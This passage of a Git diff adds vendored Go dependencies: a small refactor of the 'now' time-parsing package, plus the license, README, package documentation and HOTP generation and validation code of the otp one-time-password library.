)
|
||||
|
||||
for _, str := range strs {
|
||||
@@ -162,8 +162,7 @@ func (now *Now) Parse(strs ...string) (t time.Time, err error) {
|
||||
onlyTimeInStr = hasTimeInStr && onlyTimeInStr && onlyTimeRegexp.MatchString(str)
|
||||
if t, err = now.parseWithFormat(str, currentLocation); err == nil {
|
||||
location := t.Location()
|
||||
|
||||
parseTime = []int{t.Nanosecond(), t.Second(), t.Minute(), t.Hour(), t.Day(), int(t.Month()), t.Year()}
|
||||
parseTime = formatTimeToList(t)
|
||||
|
||||
for i, v := range parseTime {
|
||||
// Don't reset hour, minute, second if current time str including time
|
||||
@@ -190,7 +189,7 @@ func (now *Now) Parse(strs ...string) (t time.Time, err error) {
|
||||
}
|
||||
|
||||
t = time.Date(parseTime[6], time.Month(parseTime[5]), parseTime[4], parseTime[3], parseTime[2], parseTime[1], parseTime[0], location)
|
||||
currentTime = []int{t.Nanosecond(), t.Second(), t.Minute(), t.Hour(), t.Day(), int(t.Month()), t.Year()}
|
||||
currentTime = formatTimeToList(t)
|
||||
}
|
||||
}
|
||||
return
|
||||
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
package now
|
||||
|
||||
import "time"
|
||||
|
||||
func formatTimeToList(t time.Time) []int {
|
||||
hour, min, sec := t.Clock()
|
||||
year, month, day := t.Date()
|
||||
return []int{t.Nanosecond(), sec, min, hour, day, int(month), year}
|
||||
}
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
arch:
|
||||
- amd64
|
||||
- ppc64le
|
||||
language: go
|
||||
|
||||
env:
|
||||
- GO111MODULE=on
|
||||
|
||||
go:
|
||||
- "1.15"
|
||||
+202
@@ -0,0 +1,202 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright [yyyy] [name of copyright owner]
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
+5
@@ -0,0 +1,5 @@
|
||||
otp
|
||||
Copyright (c) 2014, Paul Querna
|
||||
|
||||
This product includes software developed by
|
||||
Paul Querna (http://paul.querna.org/).
|
||||
+60
@@ -0,0 +1,60 @@
|
||||
# otp: One Time Password utilities Go / Golang
|
||||
|
||||
[](https://pkg.go.dev/github.com/pquerna/otp) [](https://travis-ci.org/pquerna/otp)
|
||||
|
||||
# Why One Time Passwords?
|
||||
|
||||
One Time Passwords (OTPs) are an mechanism to improve security over passwords alone. When a Time-based OTP (TOTP) is stored on a user's phone, and combined with something the user knows (Password), you have an easy on-ramp to [Multi-factor authentication](http://en.wikipedia.org/wiki/Multi-factor_authentication) without adding a dependency on a SMS provider. This Password and TOTP combination is used by many popular websites including Google, Github, Facebook, Salesforce and many others.
|
||||
|
||||
The `otp` library enables you to easily add TOTPs to your own application, increasing your user's security against mass-password breaches and malware.
|
||||
|
||||
Because TOTP is standardized and widely deployed, there are many [mobile clients and software implementations](http://en.wikipedia.org/wiki/Time-based_One-time_Password_Algorithm#Client_implementations).
|
||||
|
||||
## `otp` Supports:
|
||||
|
||||
* Generating QR Code images for easy user enrollment.
|
||||
* Time-based One-time Password Algorithm (TOTP) (RFC 6238): Time based OTP, the most commonly used method.
|
||||
* HMAC-based One-time Password Algorithm (HOTP) (RFC 4226): Counter based OTP, which TOTP is based upon.
|
||||
* Generation and Validation of codes for either algorithm.
|
||||
|
||||
## Implementing TOTP in your application:
|
||||
|
||||
### User Enrollment
|
||||
|
||||
For an example of a working enrollment work flow, [Github has documented theirs](https://help.github.com/articles/configuring-two-factor-authentication-via-a-totp-mobile-app/
|
||||
), but the basics are:
|
||||
|
||||
1. Generate new TOTP Key for a User. `key,_ := totp.Generate(...)`.
|
||||
1. Display the Key's Secret and QR-Code for the User. `key.Secret()` and `key.Image(...)`.
|
||||
1. Test that the user can successfully use their TOTP. `totp.Validate(...)`.
|
||||
1. Store TOTP Secret for the User in your backend. `key.Secret()`
|
||||
1. Provide the user with "recovery codes". (See Recovery Codes bellow)
|
||||
|
||||
### Code Generation
|
||||
|
||||
* In either TOTP or HOTP cases, use the `GenerateCode` function and a counter or
|
||||
`time.Time` struct to generate a valid code compatible with most implementations.
|
||||
* For uncommon or custom settings, or to catch unlikely errors, use `GenerateCodeCustom`
|
||||
in either module.
|
||||
|
||||
### Validation
|
||||
|
||||
1. Prompt and validate User's password as normal.
|
||||
1. If the user has TOTP enabled, prompt for TOTP passcode.
|
||||
1. Retrieve the User's TOTP Secret from your backend.
|
||||
1. Validate the user's passcode. `totp.Validate(...)`
|
||||
|
||||
|
||||
### Recovery Codes
|
||||
|
||||
When a user loses access to their TOTP device, they would no longer have access to their account. Because TOTPs are often configured on mobile devices that can be lost, stolen or damaged, this is a common problem. For this reason many providers give their users "backup codes" or "recovery codes". These are a set of one time use codes that can be used instead of the TOTP. These can simply be randomly generated strings that you store in your backend. [Github's documentation provides an overview of the user experience](
|
||||
https://help.github.com/articles/downloading-your-two-factor-authentication-recovery-codes/).
|
||||
|
||||
|
||||
## Improvements, bugs, adding feature, etc:
|
||||
|
||||
Please [open issues in Github](https://github.com/pquerna/otp/issues) for ideas, bugs, and general thoughts. Pull requests are of course preferred :)
|
||||
|
||||
## License
|
||||
|
||||
`otp` is licensed under the [Apache License, Version 2.0](./LICENSE)
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
/**
|
||||
* Copyright 2014 Paul Querna
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*
|
||||
*/
|
||||
|
||||
// Package otp implements both HOTP and TOTP based
|
||||
// one time passcodes in a Google Authenticator compatible manner.
|
||||
//
|
||||
// When adding a TOTP for a user, you must store the "secret" value
|
||||
// persistently. It is recommend to store the secret in an encrypted field in your
|
||||
// datastore. Due to how TOTP works, it is not possible to store a hash
|
||||
// for the secret value like you would a password.
|
||||
//
|
||||
// To enroll a user, you must first generate an OTP for them. Google
|
||||
// Authenticator supports using a QR code as an enrollment method:
|
||||
//
|
||||
// import (
|
||||
// "github.com/pquerna/otp/totp"
|
||||
//
|
||||
// "bytes"
|
||||
// "image/png"
|
||||
// )
|
||||
//
|
||||
// key, err := totp.Generate(totp.GenerateOpts{
|
||||
// Issuer: "Example.com",
|
||||
// AccountName: "[email protected]",
|
||||
// })
|
||||
//
|
||||
// // Convert TOTP key into a QR code encoded as a PNG image.
|
||||
// var buf bytes.Buffer
|
||||
// img, err := key.Image(200, 200)
|
||||
// png.Encode(&buf, img)
|
||||
//
|
||||
// // display the QR code to the user.
|
||||
// display(buf.Bytes())
|
||||
//
|
||||
// // Now Validate that the user's successfully added the passcode.
|
||||
// passcode := promptForPasscode()
|
||||
// valid := totp.Validate(passcode, key.Secret())
|
||||
//
|
||||
// if valid {
|
||||
// // User successfully used their TOTP, save it to your backend!
|
||||
// storeSecret("[email protected]", key.Secret())
|
||||
// }
|
||||
//
|
||||
// Validating a TOTP passcode is very easy, just prompt the user for a passcode
|
||||
// and retrieve the associated user's previously stored secret.
|
||||
// import "github.com/pquerna/otp/totp"
|
||||
//
|
||||
// passcode := promptForPasscode()
|
||||
// secret := getSecret("[email protected]")
|
||||
//
|
||||
// valid := totp.Validate(passcode, secret)
|
||||
//
|
||||
// if valid {
|
||||
// // Success! continue login process.
|
||||
// }
|
||||
package otp
|
||||
+211
@@ -0,0 +1,211 @@
|
||||
/**
|
||||
* Copyright 2014 Paul Querna
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*
|
||||
*/
|
||||
|
||||
package hotp
|
||||
|
||||
import (
|
||||
"github.com/pquerna/otp"
|
||||
"io"
|
||||
|
||||
"crypto/hmac"
|
||||
"crypto/rand"
|
||||
"crypto/subtle"
|
||||
"encoding/base32"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"math"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const debug = false
|
||||
|
||||
// Validate a HOTP passcode given a counter and secret.
|
||||
// This is a shortcut for ValidateCustom, with parameters that
|
||||
// are compataible with Google-Authenticator.
|
||||
func Validate(passcode string, counter uint64, secret string) bool {
|
||||
rv, _ := ValidateCustom(
|
||||
passcode,
|
||||
counter,
|
||||
secret,
|
||||
ValidateOpts{
|
||||
Digits: otp.DigitsSix,
|
||||
Algorithm: otp.AlgorithmSHA1,
|
||||
},
|
||||
)
|
||||
return rv
|
||||
}
|
||||
|
||||
// ValidateOpts provides options for ValidateCustom().
|
||||
type ValidateOpts struct {
|
||||
// Digits as part of the input. Defaults to 6.
|
||||
Digits otp.Digits
|
||||
// Algorithm to use for HMAC. Defaults to SHA1.
|
||||
Algorithm otp.Algorithm
|
||||
}
|
||||
|
||||
// GenerateCode creates a HOTP passcode given a counter and secret.
|
||||
// This is a shortcut for GenerateCodeCustom, with parameters that
|
||||
// are compataible with Google-Authenticator.
|
||||
func GenerateCode(secret string, counter uint64) (string, error) {
|
||||
return GenerateCodeCustom(secret, counter, ValidateOpts{
|
||||
Digits: otp.DigitsSix,
|
||||
Algorithm: otp.AlgorithmSHA1,
|
||||
})
|
||||
}
|
||||
|
||||
// GenerateCodeCustom uses a counter and secret value and options struct to
|
||||
// create a passcode.
|
||||
func GenerateCodeCustom(secret string, counter uint64, opts ValidateOpts) (passcode string, err error) {
|
||||
// As noted in issue #10 and #17 this adds support for TOTP secrets that are
|
||||
// missing their padding.
|
||||
secret = strings.TrimSpace(secret)
|
||||
if n := len(secret) % 8; n != 0 {
|
||||
secret = secret + strings.Repeat("=", 8-n)
|
||||
}
|
||||
|
||||
// As noted in issue #24 Google has started producing base32 in lower case,
|
||||
// but the StdEncoding (and the RFC), expect a dictionary of only upper case letters.
|
||||
secret = strings.ToUpper(secret)
|
||||
|
||||
secretBytes, err := base32.StdEncoding.DecodeString(secret)
|
||||
if err != nil {
|
||||
return "", otp.ErrValidateSecretInvalidBase32
|
||||
}
|
||||
|
||||
buf := make([]byte, 8)
|
||||
mac := hmac.New(opts.Algorithm.Hash, secretBytes)
|
||||
binary.BigEndian.PutUint64(buf, counter)
|
||||
if debug {
|
||||
fmt.Printf("counter=%v\n", counter)
|
||||
fmt.Printf("buf=%v\n", buf)
|
||||
}
|
||||
|
||||
mac.Write(buf)
|
||||
sum := mac.Sum(nil)
|
||||
|
||||
// "Dynamic truncation" in RFC 4226
|
||||
// http://tools.ietf.org/html/rfc4226#section-5.4
|
||||
offset := sum[len(sum)-1] & 0xf
|
||||
value := int64(((int(sum[offset]) & 0x7f) << 24) |
|
||||
((int(sum[offset+1] & 0xff)) << 16) |
|
||||
((int(sum[offset+2] & 0xff)) << 8) |
|
||||
(int(sum[offset+3]) & 0xff))
|
||||
|
||||
l := opts.Digits.Length()
|
||||
mod := int32(value % int64(math.Pow10(l)))
|
||||
|
||||
if debug {
|
||||
fmt.Printf("offset=%v\n", offset)
|
||||
fmt.Printf("value=%v\n", value)
|
||||
fmt.Printf("mod'ed=%v\n", mod)
|
||||
}
|
||||
|
||||
return opts.Digits.Format(mod), nil
|
||||
}
|
||||
|
||||
// ValidateCustom validates an HOTP with customizable options. Most users should
|
||||
// use Validate().
|
||||
func ValidateCustom(passcode string, counter uint64, secret string, opts ValidateOpts) (bool, error) {
|
||||
passcode = strings.TrimSpace(passcode)
|
||||
|
||||
if len(passcode) != opts.Digits.Length() {
|
||||
return false, otp.ErrValidateInputInvalidLength
|
||||
}
|
||||
|
||||
otpstr, err := GenerateCodeCustom(secret, counter, opts)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if subtle.ConstantTimeCompare([]byte(otpstr), []byte(passcode)) == 1 {
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// GenerateOpts provides options for .Generate()
|
||||
type GenerateOpts struct {
|
||||
// Name of the issuing Organization/Company.
|
||||
Issuer string
|
||||
// Name of the User's Account (eg, email address)
|
||||
AccountName string
|
||||
// Size in size of the generated Secret. Defaults to 10 bytes.
|
||||
SecretSize uint
|
||||
// Secret to store. Defaults to a randomly generated secret of SecretSize. You should generally leave this empty.
|
||||
Secret []byte
|
||||
// Digits to request. Defaults to 6.
|
||||
Digits otp.Digits
|
||||
// Algorithm to use for HMAC. Defaults to SHA1.
|
||||
Algorithm otp.Algorithm
|
||||
// Reader to use for generating HOTP Key.
|
||||
Rand io.Reader
|
||||
}
|
||||
|
||||
var b32NoPadding = base32.StdEncoding.WithPadding(base32.NoPadding)
|
||||
|
||||
// Generate creates a new HOTP Key.
|
||||
func Generate(opts GenerateOpts) (*otp.Key, error) {
|
||||
// url encode the Issuer/AccountName
|
||||
if opts.Issuer == "" {
|
||||
return nil, otp.ErrGenerateMissingIssuer
|
||||
}
|
||||
|
||||
if opts.AccountName == "" {
|
||||
return nil, otp.ErrGenerateMissingAccountName
|
||||
}
|
||||
|
||||
if opts.SecretSize == 0 {
|
||||
opts.SecretSize = 10
|
||||
}
|
||||
|
||||
if opts.Digits == 0 {
|
||||
opts.Digits = otp.DigitsSix
|
||||
}
|
||||
|
||||
if opts.Rand == nil {
|
||||
opts.Rand = rand.Reader
|
||||
}
|
||||
|
||||
// otpauth://totp/Example:[email protected]?secret=JBSWY3DPEHPK3PXP&issuer=Example
|
||||
|
||||
v := url.Values{}
|
||||
if len(opts.Secret) != 0 {
|
||||
v.Set("secret", b32NoPadding.EncodeToString(opts.Secret))
|
||||
} else {
|
||||
secret := make([]byte, opts.SecretSize)
|
||||
_, err := opts.Rand.Read(secret)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
v.Set("secret", b32NoPadding.EncodeToString(secret))
|
||||
}
|
||||
|
||||
v.Set("issuer", opts.Issuer)
|
||||
v.Set("algorithm", opts.Algorithm.String())
|
||||
v.Set("digits", opts.Digits.String())
|
||||
|
||||
u := url.URL{
|
||||
Scheme: "otpauth",
|
||||
Host: "hotp",
|
||||
Path: "/" + opts.Issuer + ":" + opts.AccountName,
|
||||
RawQuery: v.Encode(),
|
||||
}
|
||||
|
||||
return otp.NewKeyFromURL(u.String())
|
||||
}
|
||||
Loaded 100 of 143 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user